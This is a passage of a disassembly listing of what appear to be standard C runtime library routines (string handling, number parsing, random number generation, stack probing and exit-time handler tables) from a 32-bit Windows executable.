		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212


loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax


loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD39C
		jnb	short loc_41C1FF


loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi


loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx


loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE24, edi
		nop
		call	near ptr 77E75CB5h


loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: ___:0041C179p
					; ___:0041C188p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax


loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------


loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE00, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43AE00
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE00, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347


loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314


loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi


loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309


loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]


loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------


loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------


loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0


loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E


loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD261[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi


loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0


loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi


loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax


loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------


loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax


loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0


loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520


loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C


loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------


loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]


loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx


loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C


loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0


loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi


loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: ___:0041E645p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D084, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------


loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE


loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662


loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D084, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------


loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D084, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------


loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CE78
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8


loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------


loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------


loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752


loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779


loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBDDC, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi


loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax


loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 26901EBh
		test	eax, eax
		jnz	short loc_41C7D2
		call	near ptr 269086Bh
		nop
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------


loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax


loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------


loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi


loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; ___:0041E5BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx


loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx


loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC


loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD


loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]


loc_41C901:				; CODE XREF: sub_41C890+5j
					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926


loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------


loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C926:				; CODE XREF: sub_41C8A0+6Bj
					; sub_41C8A0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C921
